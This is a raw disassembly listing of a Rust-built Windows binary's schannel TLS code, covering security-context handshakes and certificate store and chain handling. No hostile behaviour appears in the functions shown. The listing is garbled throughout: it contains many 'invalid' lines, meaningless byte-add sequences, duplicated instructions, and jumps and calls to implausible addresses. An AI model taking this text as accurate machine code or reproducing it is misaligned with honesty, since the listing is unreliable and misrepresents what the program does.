cmp qword [rsi + 0x9c0], 0
je 0x1400ad1fb
invalid
mov rcx, qword [rsi + 0x9c8]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rcx, qword [rsi + 0x9d0]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
mov ss, eax
or dword [rax], eax
add byte [rcx], dh
sar bh, cl
adc eax, 0x65f7e
mov byte [rsi + 0x2d3], 0
add al, byte [rax]
add byte [rax], al
mov rax, qword [rsi + 0x2b0]
lock dec qword [rax]
jne 0x1400ad0d3
invalid
mov rcx, qword [rsi + 0x2b0]
call fcn.1400398e0
mov rax, qword [rsi + 0x2b8]
lock dec qword [rax]
jne case.0x14009fa62.66
invalid
invalid
invalid
mov rcx, qword [rsi + 0x2b8]
mov rdx, qword [rsi + 0x2c0]
call fcn.140004950
dec dword [rax - 0x7d]
mov esi, 0x290
add byte [rdi], cl
invalid
invalid
invalid
invalid
invalid
dec dword [rax - 0x7d]
mov esi, 0x290
add byte [rdi], cl
test dword [rsi - 0x16000002], ecx
xchg esi, eax
invalid
jmp 0x1400ad0fb
jmp 0x1400b0eab
mov rdi, rdx
mov rcx, rdx
call fcn.14001a360
mov qword [rsi + 0x38], 0
cmp al, 0xd
jne 0x1400b0f3e
mov rcx, rdi
mov edx, ecx
and edx, 3
mov eax, 1
cmp edx, 1
jne 0x1400b0f45
lea rsi, [rcx - 1]
mov rdi, qword [rcx - 1]
mov rbx, qword [rcx + 7]
invalid
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400b0f09
invalid
cmp qword [rbx + 0x10], 0x11
jb 0x1400b0ef7
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
clc
clc
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
xor edx, edx
mov eax, 1
jmp 0x1400b0f30
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
xor eax, eax
mov rdx, rdi
jmp 0x1400b0f30
xor edx, edx
jmp 0x1400b0f30
lea rax, [rdi + rdi]
cmp rax, r13
cmova r13, rax
cmp r13, 0x401
cmovb r13, r12
mov rbp, qword [rsi + 0x170]
sub r13, rbp
jbe 0x1400b1020
mov rax, qword [rsi + 0x160]
sub rax, rbp
cmp rax, r13
jb 0x1400b10f5
mov r12, qword [rsi + 0x168]
lea rcx, [r12 + rbp]
cmp r13, 2
jb 0x1400b100d
lea r8, [r13 - 1]
xor edx, edx
call fcn.140106cb0
add rbp, r13
dec rbp
add r12, rbp
mov rcx, r12
mov r12d, 0x400
mov byte [rcx], 0
add al, 0
add dh, al
add dword [rax], eax
inc rbp
mov qword [rsi + 0x170], rbp
mov rax, rbp
sub rax, rdi
jb 0x1400b1149
call 0x15003396f
invalid
mov rcx, qword [rsi + 0x168]
add rcx, rdi
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], rax
and al, 0x40
and al, 0x40
mov rdx, qword [rsi + 0x138]
test rdx, rdx
je 0x1400b115b
cmp dword [rbx], 2
jne 0x1400b1080
mov rcx, r14
lea r8, [rsp + 0x28]
call fcn.1400e71e0
add eax, dword [rax]
add eax, dword [rax]
jmp 0x1400b108d
mov rcx, rbx
lea r8, [rsp + 0x28]
call fcn.1400af3c0
test rax, rax
movabs rax, 0xd00000003
cmovne rdx, rax
test rdx, rdx
jne 0x1400b1133
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
cmp rcx, rdx
ja 0x1400b1173
add rdi, rcx
mov qword [rsi + 0x178], rdi
mov rax, qword [rsi + 0x210]
mov rdx, rax
sub rdx, rcx
mov r13d, 0
cmovae r13, rdx
mov qword [rsi + 0x210], r13
mov dword [rsi + 0x210], ebp
mov dword [rsi + 0x210], ebp
test rcx, rcx
je 0x1400b1126
add r15, rcx
cmp rax, rcx
ja 0x1400b0fb0
jmp 0x1400b1126
mov rcx, qword [rsp + 0x20]
mov rdx, rbp
mov r8, r13
call fcn.140108ba0
mov rbp, qword [rsi + 0x170]
mov r12, qword [rsi + 0x168]
lea rcx, [r12 + rbp]
cmp r13, 2
jae 0x1400b0ff6
jmp 0x1400b100d
xor eax, eax
mov rdx, r15
jmp 0x1400b1138
mov eax, 1
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rsStartSizeSizeLwsExtensionSizeLfBodyCrBodyLfTrailerTrailerLfEndCrEndLfEndC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
mov rcx, rdi
mov rdx, rbp
call fcn.1401085a0
lea rcx, str.assertion_failed:__self.context.is_null__
lea r8, [0x14013e4f8]
mov edx, 0x29
call fcn.140108630
lea r8, [0x14013d6c8]
call fcn.140108620
int3
add byte [rcx + 1], cl
invalid
test rax, rax
jne 0x1400b13da
jmp 0x1400b13e1
mov qword [rdi + 0x170], rbx
xor eax, eax
test r14d, r14d
sete al
mov qword [rdi + 0x178], r14
mov qword [rdi + 0x210], rax
mov byte [rsi + 1], 0
xor eax, eax
mov byte [rsi], al
add rsp, 0x70
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
cmp r15, rbx
jb 0x1400b1902
sub r15, rbx
add r12, rbx
lea r13, [rsp + 0x28]
and al, 0x28
and al, 0x28
nop dword [rax]
mov rdx, qword [rsi + 0x150]
mov rcx, qword [rsi + 0x158]
cmp rcx, rdx
ja 0x1400b18f6
jne 0x1400b17da
mov rcx, r13
mov rdx, rsi
call fcn.1400afcb0
dec dword [rbx - 0x7cd7dbbc]
clc
add cl, byte [rdi]
invalid
invalid
add byte [rax], al
invalid
dec dword [rbx - 0x7cd7dbbc]
clc
add cl, byte [rdi]
test byte [rax + rax - 0x77d0000], bh
add dword [rbp + 0x44], esi
cmp eax, 1
jne 0x1400b17da
cmp qword [rsi + 0x210], 0
je 0x1400b17c1
mov rcx, rsi
call fcn.1400b0f60
invalid
dec dword [rax - 0x7b]
ror byte [rdi], 0x85
and al, 1
add byte [rax], al
invalid
test rdx, rdx
je 0x1400b17da
mov qword [rsi + 0x210], 0
mov rcx, r13
mov rdx, rsi
call fcn.1400b1180
cmp byte [rsp + 0x28], 0
jne 0x1400b184d
cmp byte [rsp + 0x29], 0
je 0x1400b1760
mov rcx, r12
mov r12, qword [rsi + 0x150]
mov r13, qword [rsi + 0x158]
mov rbp, r12
sub rbp, r13
jb 0x1400b1914
mov rdx, qword [rsi + 0x148]
add rdx, r13
cmp r15, rbp
cmovb rbp, r15
mov r8, rbp
call fcn.140106530
add r13, rbp
cmp r13, r12
ja 0x1400b1926
mov qword [rsi + 0x158], r13
add rbx, rbp
jb 0x1400b193e
cmp rbx, r14
ja 0x1400b1956
mov qword [rdi + 0x10], rbx
mov qword [rsi + 0x138], 0
xor edx, edx
xor eax, eax
jmp 0x1400b18e5
mov rdx, qword [rsp + 0x30]
mov rdi, rdx
mov rcx, rdx
call fcn.14001a360
mov qword [rsi + 0x138], 0
cmp al, 0xd
jne 0x1400b18ce
mov rcx, rdi
mov edx, ecx
and edx, 3
mov eax, 1
cmp edx, 1
jne 0x1400b18e3
lea rsi, [rcx - 1]
mov rdi, qword [rcx - 1]
mov rbx, qword [rcx + 7]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400b18b3
cmp qword [rbx + 0x10], 0x11
jb 0x1400b18a1
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
xor edx, edx
mov eax, 1
jmp 0x1400b18e5
xor eax, eax
mov rdx, rdi
jmp 0x1400b18e5
test rdx, rdx
jne 0x1400b1852
jmp 0x1400b1839
xor edx, edx
add rsp, 0x58
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rsStartSizeSizeLwsExtensionSizeLfBodyCrBodyLfTrailerTrailerLfEndCrEndLfEndC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
call fcn.1401085a0
lea r8, [0x140142a68]
mov rcx, rbx
mov rdx, r15
call fcn.140108810
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rsStartSizeSizeLwsExtensionSizeLfBodyCrBodyLfTrailerTrailerLfEndCrEndLfEndC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
mov rcx, r13
mov rdx, r12
call fcn.1401085a0
lea rcx, [0x14014262e]
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rsStartSizeSizeLwsExtensionSizeLfBodyCrBodyLfTrailerTrailerLfEndCrEndLfEndC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
mov edx, 0x3b
call fcn.140108630
lea rcx, str.filled_overflowC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_srcio_read_buf.rs
lea r8, [0x140142a80]
mov edx, 0xf
call fcn.140108990
lea rax, str.filled_must_not_become_larger_than_initialized
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x38], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
lea rdx, [0x140142a80]
adc byte [rcx], cl
add byte [rax - 0x73], cl
and al, 0x28
adc byte [rcx], cl
add byte [rax - 0x73], cl
and al, 0x28
call fcn.140108560
int3
mov rax, rsi
add rsp, 0x20
pop rsi
ret
add byte [rdi], cl
sub dword [rsp + 0x170], esi
mov rdi, rdx
mov qword [rsp + 0x70], rcx
lea rax, [rdx + 0xd4]
mov qword [rsp + 0x128], rax
lea rbx, [rdx + 0x10]
lea rax, [rdx + 0xf0]
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x100], rax
xorps xmm6, xmm6
movzx eax, byte [rdi + 0xd0]
test eax, eax
je 0x1400b1b44
cmp eax, 1
jne 0x1400b29dd
mov rcx, qword [rsp + 0x70]
and al, 0x70
mov dword [rcx], 1
mov rax, qword [rsp + 0x128]
movups xmm0, xmmword [rax]
movups xmmword [rcx + 4], xmm0
mov eax, dword [rax + 0x10]
mov dword [rcx + 0x14], eax
jmp 0x1400b29c1
test rbp, rbp
jne 0x1400b29ea
movzx eax, byte [rdi + 0xd0]
test eax, eax
jne 0x1400b1af3
movzx ebp, byte [rdi + 0xd1]
movzx r14d, byte [rdi + 0xd2]
movzx r13d, byte [rdi + 0xd3]
invalid
add byte [rax], al
add byte [rdi + rcx - 0x4a], al
mov bh, 0xd2
add byte [rax], al
add byte [rdi + rcx - 0x4a], al
scasd eax, dword [rdi]
rol dword [rax], cl
add byte [rax], al
invalid
add byte [rdi], cl
mov dh, 0xb7
invalid
movzx esi, byte [rdi + 0xd4]
mov rdx, qword [rdi + 0x90]
mov r15, qword [rdi + 0x98]
cmp r15, rdx
jne 0x1400b1b90
test bpl, bpl
jne 0x1400b1c10
jmp 0x1400b1c24
nop word cs:[rax + rax]
xor r12d, r12d
nop word cs:[rax + rax]
mov r9, rdx
sub r9, r15
jb 0x1400b2b0b
mov rdx, qword [rdi + 0x38]
test rdx, rdx
je 0x1400b2af3
mov r8, qword [rdi + 0x88]
add r8, r15
mov rcx, rbx
call fcn.1400e74a0
test rax, rax
jne 0x1400b29a0
add r12, rdx
add r15, rdx
mov qword [rdi + 0x98], r15
mov rdx, qword [rdi + 0x90]
cmp r15, rdx
jne 0x1400b1ba0
test r12, r12
je 0x1400b1b75
cmp byte [rdi + 0xd0], 0
jne 0x1400b1c10
mov byte [rdi + 0xd1], 1
nop word cs:[rax + rax]
cmp qword [rdi + 0x38], 0
je 0x1400b2af3
cmp byte [rdi + 0xd0], 0
je 0x1400b1c2b
or sil, r13b
jne 0x1400b1c44
jmp 0x1400b1c37
mov byte [rdi + 0xd1], 0
or sil, r13b
jne 0x1400b1c44
cmp byte [rdi + 0x122], 0
je 0x1400b2157
test r14b, r14b
je 0x1400b22c1
cmp qword [rdi + 0x110], 0
je 0x1400b1c71
mov rcx, rdi
call fcn.1400b2b60
test rax, rax
jne 0x1400b29b2
test rdx, rdx
je 0x1400b29f5
mov r15, qword [rdi + 0x78]
movzx eax, byte [0x140182310]
mov edx, 0x20
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400b2b1a
mov rdx, qword [rdi + 0x70]
cmp r15, rdx
ja case.0x14001a3ad.2584
mov r12, rax
mov rax, qword [rdi + 0x68]
mov dword [r12], r15d
mov dword [r12 + 4], 2
mov qword [r12 + 8], rax
movups xmmword [r12 + 0x10], xmm6
mov qword [rsp + 0xe8], 2
mov qword [rsp + 0xf0], r12
mov qword [rsp + 0xf8], 2
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x48], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x4778c6b8], al
add byte [rax], al
add byte [rbp + 0x20], dh
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x48], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x4778c6b8], al
add byte [rax], al
add byte [rbp + 0x20], dh
mov qword [rsp + 0xb0], 0
jmp 0x1400b1d90
mov rdx, qword [rdi + 0xc0]
mov r8, qword [rdi + 0xc8]
lea rcx, [rsp + 0xb0]
call fcn.1400cf380
mov rsi, qword [rsp + 0xb0]
test rsi, rsi
je 0x1400b1d90
mov r14, qword [rsp + 0xc0]
mov ebp, dword [rsp + 0xb8]
lea rcx, [rsp + 0xe8]
call fcn.140046370
mov r12, qword [rsp + 0xf0]
mov r13, qword [rsp + 0xf8]
mov rax, r13
shl rax, 4
mov dword [r12 + rax], ebp
mov dword [r12 + rax + 4], 0x12
add byte [rax], al
add byte [rax], al
mov qword [r12 + rax + 8], r14
inc r13
mov qword [rsp + 0xf8], r13
jmp 0x1400b1d98
mov r13d, 2
xor esi, esi
mov dword [rsp + 0x130], 0
mov dword [rsp + 0x134], r13d
mov qword [rsp + 0x138], r12
movabs rax, 0x200000000
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 0
movabs rax, 0x1100000000
mov qword [rsp + 0x90], rax
lea rax, [rsp + 0x98]
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
movabs rax, 0x300000000
mov qword [rsp + 0x160], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x168], rax
mov dword [rsp + 0xcc], 0
add byte [rax], al
add byte [rax], al
add byte [rax + 0x122bf], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x122bf], al
add byte [rax], al
je 0x1400b1f80
cmp byte [rdi + 0x123], 0
mov edx, 0
add byte [rax], al
add byte [rdx], bh
mov rcx, qword [rsp + 0x100]
cmove rdx, rcx
mov rax, qword [rdi + 0xe8]
movups xmm0, xmmword [rax + 0x10]
ror dword [rax - 0x75], 1
xchg eax, ebp
add byte [rax], al
add byte [rdi], cl
adc byte [rax + 0x10], al
movaps xmmword [rsp + 0xd0], xmm0
lea rax, [rsp + 0xcc]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x160]
mov qword [rsp + 0x30], rax
add byte [rax - 0x77], cl
and al, 0x30
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x20], 0
lea rcx, [rsp + 0xd0]
lea r8, [rsp + 0x130]
mov r9d, 0x1011c
add byte [rbp + rcx*4 - 0x7c], cl
and al, 0x30
add dword [rax], eax
add byte [rcx - 0x47], al
sbb al, 1
add dword [rax], eax
call qword [sym.imp.secur32.dll_AcceptSecurityContext]
mov ebp, eax
mov rcx, qword [rsp + 0x98]
test rcx, rcx
je 0x1400b1ebc
call qword [sym.imp.secur32.dll_FreeContextBuffer]
mov rcx, qword [rsp + 0xa8]
test rcx, rcx
je 0x1400b1ecf
call qword [sym.imp.secur32.dll_FreeContextBuffer]
cmp ebp, 0x80090318
je 0x1400b20e0
test ebp, ebp
je 0x1400b2048
cmp ebp, 0x90312
jne 0x1400b2111
mov byte [rdi + 0x123], 0
cmp r13, 1
jbe 0x1400b2acb
cmp dword [r12 + 0x14], 5
jne 0x1400b21df
mov r14, qword [rdi + 0x78]
mov eax, dword [r12 + 0x10]
mov r15, r14
sub r15, rax
jb 0x1400b2b38
mov r13d, dword [rsp + 0x80]
mov rcx, qword [rsp + 0x88]
mov qword [rsp + 0x78], rcx
test eax, eax
je 0x1400b22b7
mov rdx, qword [rdi + 0x70]
mov rbp, rdx
sub rbp, r15
jb 0x1400b2b50
mov qword [rdi + 0x70], 0
test r15, r15
je 0x1400b2373
cmp rdx, r15
je 0x1400b2380
mov rcx, qword [rdi + 0x68]
lea rdx, [rcx + r15]
mov r8, rbp
call fcn.140106530
jmp 0x1400b237c
cmp byte [rdi + 0x120], 0
mov r8d, 0
je 0x1400b1f96
mov r8, qword [rdi + 0xa8]
movabs rax, 0x8000000000000000
cmp qword [rdi + 0xa0], rax
mov eax, 0
cmove r8, rax
mov rax, qword [rdi + 0xe8]
movups xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0xd0], xmm0
lea rax, [rsp + 0xcc]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x160]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x130]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea rcx, [rsp + 0xd0]
mov rdx, qword [rsp + 0x100]
mov r9d, 0x9819c
call qword [sym.imp.secur32.dll_InitializeSecurityContextW]
mov ebp, eax
mov rcx, qword [rsp + 0x98]
test rcx, rcx
jne 0x1400b1eb6
jmp 0x1400b1ebc
cmp r13, 1
jbe 0x1400b2ab7
cmp dword [r12 + 0x14], 5
jne 0x1400b219c
mov r14, qword [rsp + 0x88]
test r14, r14
je 0x1400b2083
mov rax, qword [rsp + 0x80]
mov eax, dword [rsp + 0x80]
mov qword [rsp + 0x120], rax
mov dword [rsp + 0x120], eax
mov qword [rsp + 0x110], r14
mov rbp, qword [rdi + 0x78]
mov esi, dword [r12 + 0x10]
mov r15, rbp
sub r15, rsi
cmp rbp, r15
jb 0x1400b2b38
je 0x1400b241a
mov rdx, qword [rdi + 0x70]
mov r13, rdx
sub r13, r15
jb 0x1400b2b50
mov qword [rdi + 0x70], 0
test r15, r15
je 0x1400b23f7
cmp rdx, r15
je 0x1400b241a
invalid
add byte [rax - 0x75], cl
push 0x39148d4a
mov rcx, qword [rdi + 0x68]
lea rdx, [rcx + r15]
mov r8, r13
call fcn.140106530
jmp 0x1400b23fc
cmp r13, 1
jbe 0x1400b2adf
mov eax, 1
cmp dword [r12 + 0x14], 4
jne 0x1400b20fc
mov eax, dword [r12 + 0x10]
mov qword [rdi + 0x110], rax
test rsi, rsi
jne 0x1400b2513
add byte [rax], al
jmp 0x1400b2534
shl rbp, 0x20
or rbp, 2
test rsi, rsi
je 0x1400b24d0
mov r8, qword [rsp + 0xc0]
cmp rsi, 0x11
jb 0x1400b2134
mov r8, qword [r8 - 8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0xe8], 0
jne 0x1400b24df
jmp 0x1400b1b30
mov byte [rsp + 0x78], r14b
mov byte [rsp + 0x6f], r13b
mov qword [rsp + 0x80], 0
mov rcx, qword [rsp + 0x100]
mov edx, 0x53
lea r8, [rsp + 0x80]
call qword [sym.imp.secur32.dll_QueryContextAttributesW]
test eax, eax
je 0x1400b2200
cmp byte [rsp + 0x78], 0
jne 0x1400b1c4d
jmp 0x1400b2a49
mov rax, qword [rsp + 0x88]
test rax, rax
je 0x1400b21c1
mov rcx, qword [rsp + 0x80]
mov qword [rsp + 0x120], rcx
mov qword [rsp + 0x110], rax
mov qword [rdi + 0x78], 0
mov qword [rdi + 0x110], 1
jne 0x1400b2432
jmp 0x1400b24f6
mov r14, qword [rdi + 0x78]
mov esi, dword [rdi + 0x78]
mov r13d, dword [rsp + 0x80]
mov eax, 1
mov rcx, qword [rsp + 0x88]
mov r15, r14
jmp 0x1400b2387
mov r14, qword [rsp + 0x80]
mov rcx, qword [r14 + 0x20]
test rcx, rcx
je 0x1400b2561
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
mov rsi, rax
cmp qword [rdi], 0
mov r13, qword [sym.imp.crypt32.dll_CertDuplicateCertificateChain]
je 0x1400b22a7
mov rcx, qword [rdi + 8]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertEnumCertificatesInStore]
add byte [rax - 0x7b], cl
invalid
je 0x1400b22a7
add byte [rax - 0x7b], cl
sal byte [rbx + rbp*2 + 0xf], 0x1f
add byte [rax - 0x77], cl
nop dword [rax]
mov rbp, rax
mov rcx, rax
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
mov r15, rax
mov qword [rsp + 0x80], 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
int1
invalid
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov rdx, rbp
mov r8d, 3
lea r9, [rsp + 0x80]
call qword [sym.imp.crypt32.dll_CertAddCertificateContextToStore]
test eax, eax
je 0x1400b2a1a
mov rcx, qword [rsp + 0x80]
mov r12, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
call r12
mov rcx, rbp
call r12
mov rcx, qword [rdi + 8]
mov rdx, r15
call qword [sym.imp.crypt32.dll_CertEnumCertificatesInStore]
test rax, rax
jne 0x1400b2240
mov rcx, rsi
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
jmp 0x1400b2574
mov eax, 1
jmp 0x1400b2382
mov al, 2
test r13b, r13b
jne 0x1400b232e
movaps xmmword [rsp + 0x80], xmm6
mov dword [rsp + 0x90], 0
mov rcx, qword [rsp + 0x100]
mov edx, 4
lea r8, [rsp + 0x80]
call qword [sym.imp.secur32.dll_QueryContextAttributesW]
test eax, eax
jne 0x1400b2aaa
mov eax, dword [rsp + 0x80]
mov dword [rsp + 0x11c], eax
mov rax, qword [rsp + 0x84]
mov qword [rsp + 0x158], rax
mov rax, qword [rsp + 0x8c]
mov qword [rsp + 0x150], rax
mov al, 1
mov byte [rdi + 0xd0], al
mov eax, dword [rsp + 0x11c]
mov dword [rdi + 0xd4], eax
mov rax, qword [rsp + 0x158]
mov qword [rdi + 0xd8], rax
mov rax, qword [rsp + 0x150]
mov qword [rdi + 0xe0], rax
movzx eax, byte [rdi + 0xd0]
test eax, eax
je 0x1400b1b44
jmp 0x1400b1af3
test rdx, rdx
je 0x1400b26f1
mov qword [rdi + 0x70], rbp
xor eax, eax
mov rcx, qword [rsp + 0x78]
sub r14, r15
mov qword [rdi + 0x78], r14
mov qword [rdi + 0x110], rax
test r13d, r13d
mov r15d, r13d
mov rdx, rcx
mov eax, 1
cmove rdx, rax
mov rax, qword [rdi + 0x80]
mov rbp, qword [rdi + 0x90]
sub rax, rbp
cmp rax, r15
mov r13, rcx
jb 0x1400b26cd
mov rcx, qword [rdi + 0x88]
add rcx, rbp
mov r8, r15
call fcn.140106530
add rbp, r15
mov qword [rdi + 0x90], rbp
mov rcx, r13
call qword [sym.imp.secur32.dll_FreeContextBuffer]
test rsi, rsi
jne 0x1400b2513
jmp 0x1400b2534
test rdx, rdx
je 0x1400b241a
xor eax, eax
cmp rbp, r15
sete al
mov qword [rdi + 0x70], r13
mov qword [rdi + 0x78], rsi
mov qword [rdi + 0x110], rax
test r14, r14
jne 0x1400b2432
jmp 0x1400b2494
xor eax, eax
cmp rbp, r15
sete al
mov qword [rdi + 0x78], rsi
mov qword [rdi + 0x110], rax
test r14, r14
je 0x1400b2494
mov r15d, dword [rsp + 0x120]
test r15, r15
mov rsi, qword [rsp + 0x110]
mov rdx, rsi
mov eax, 1
cmove rdx, rax
mov rax, qword [rdi + 0x80]
mov r13, qword [rdi + 0x90]
sub rax, r13
cmp rax, r15
jb 0x1400b2974
mov rcx, qword [rdi + 0x88]
add rcx, r13
mov r8, r15
call fcn.140106530
add r13, r15
mov qword [rdi + 0x90], r13
mov rcx, rsi
call qword [sym.imp.secur32.dll_FreeContextBuffer]
mov rsi, qword [rdi + 0x78]
test rsi, rsi
je 0x1400b24f6
lea rcx, [rsp + 0xd0]
mov rdx, rdi
call fcn.1400b2d40
cmp byte [rsp + 0xd0], 0
je 0x1400b24f6
mov rbp, qword [rsp + 0xd8]
mov rsi, qword [rsp + 0xb0]
test rsi, rsi
jne 0x1400b2122
nop dword [rax]
cmp qword [rsp + 0xe8], 0
je 0x1400b1b30
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400b1b30
cmp byte [rdi + 0xd0], 0
jne 0x1400b2506
mov byte [rdi + 0xd2], 0
mov rsi, qword [rsp + 0xb0]
test rsi, rsi
je 0x1400b2534
mov r8, qword [rsp + 0xc0]
cmp rsi, 0x11
jb 0x1400b2525
mov r8, qword [r8 - 8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0xe8], 0
je 0x1400b2551
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
xor ebp, ebp
test rbp, rbp
je 0x1400b1b39
jmp 0x1400b29ea
mov rsi, qword [rdi]
test rsi, rsi
mov r13, qword [sym.imp.crypt32.dll_CertDuplicateCertificateChain]
je 0x1400b2574
mov rsi, qword [rdi + 8]
movaps xmmword [rsp + 0x80], xmm6
mov qword [rsp + 0x90], 0
mov dword [rsp + 0x80], 0x20
mov dword [rsp + 0x88], 1
lea rax, str.1.3.6.1.5.5.7.3.1
mov qword [rsp + 0xb0], rax
lea rax, str.1.3.6.1.4.1.311.10.3.3
mov qword [rsp + 0xb8], rax
lea rax, str.2.16.840.1.113730.4.1
mov qword [rsp + 0xc0], rax
mov dword [rsp + 0x90], 3
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xe8], 0
lea rax, [rsp + 0xe8]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xc0000001
xor ecx, ecx
mov rdx, r14
xor r8d, r8d
mov r9, rsi
call qword [sym.imp.crypt32.dll_CertGetCertificateChain]
test eax, eax
je 0x1400b2a5b
mov r15, qword [rsp + 0xe8]
mov esi, 0xf00
cmp qword [rdi], 0
je 0x1400b281e
cmp dword [r15 + 0xc], 0
je 0x1400b281e
mov qword [rsp + 0x148], r14
mov rax, qword [r15 + 0x10]
mov rbp, qword [rax]
mov rcx, r15
call r13
mov r13, rax
mov qword [rsp + 0x108], r15
cmp dword [r15 + 0xc], 2
jb 0x1400b26fb
mov esi, 1
mov r14, qword [sym.imp.crypt32.dll_CertDuplicateCertificateChain]
mov r12, qword [rsp + 0x108]
nop word cs:[rax + rax]
mov rax, qword [r12 + 0x10]
mov rbp, qword [rax + rsi*8]
mov rcx, r12
call r14
mov r15, rax
mov rcx, r13
call qword [sym.imp.crypt32.dll_CertFreeCertificateChain]
mov eax, dword [r12 + 0xc]
inc rsi
mov r13, r15
cmp rsi, rax
jb 0x1400b26a0
jmp 0x1400b270d
lea rcx, [rdi + 0x80]
mov r14, rdx
mov rdx, rbp
mov r8, r15
call fcn.140108ba0
mov rdx, r14
mov rbp, qword [rdi + 0x90]
jmp 0x1400b23c4
xor eax, eax
xor r15d, r15d
jmp 0x1400b2382
mov r15, r13
mov r14, qword [sym.imp.crypt32.dll_CertDuplicateCertificateChain]
mov r12, qword [rsp + 0x108]
mov rcx, r12
call r14
mov qword [rsp + 0x140], rax
mov rcx, r15
mov rsi, qword [sym.imp.crypt32.dll_CertFreeCertificateChain]
call rsi
xor r15d, r15d
mov rdx, rsi
mov r12, rbp
jmp 0x1400b2748
mov r15, r14
inc r15
mov rcx, r13
jmp 0x14a723d3e
invalid
add byte [rax - 0x75], cl
adc eax, 0x60a90
jmp 0x14a723d3e
mov eax, dword [r12 + 0xc]
mov esi, 0xf00
cmp r15, rax
jae 0x1400b2804
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx - 0x75], cl
and al, 0x10
mov rax, qword [r12 + 0x10]
test rax, rax
je 0x1400b2804
mov r14, r15
dec byte [rdx - 0x75]
add al, 0xf8
mov rax, qword [rax + r15*8]
mov rcx, qword [rax + 8]
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
mov r13, rax
mov rcx, qword [rdi + 8]
mov ecx, dword [rdi + 8]
mov ecx, dword [rdi + 8]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertEnumCertificatesInStore]
test rax, rax
je 0x1400b2732
nop
mov r15, rax
mov rcx, rax
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
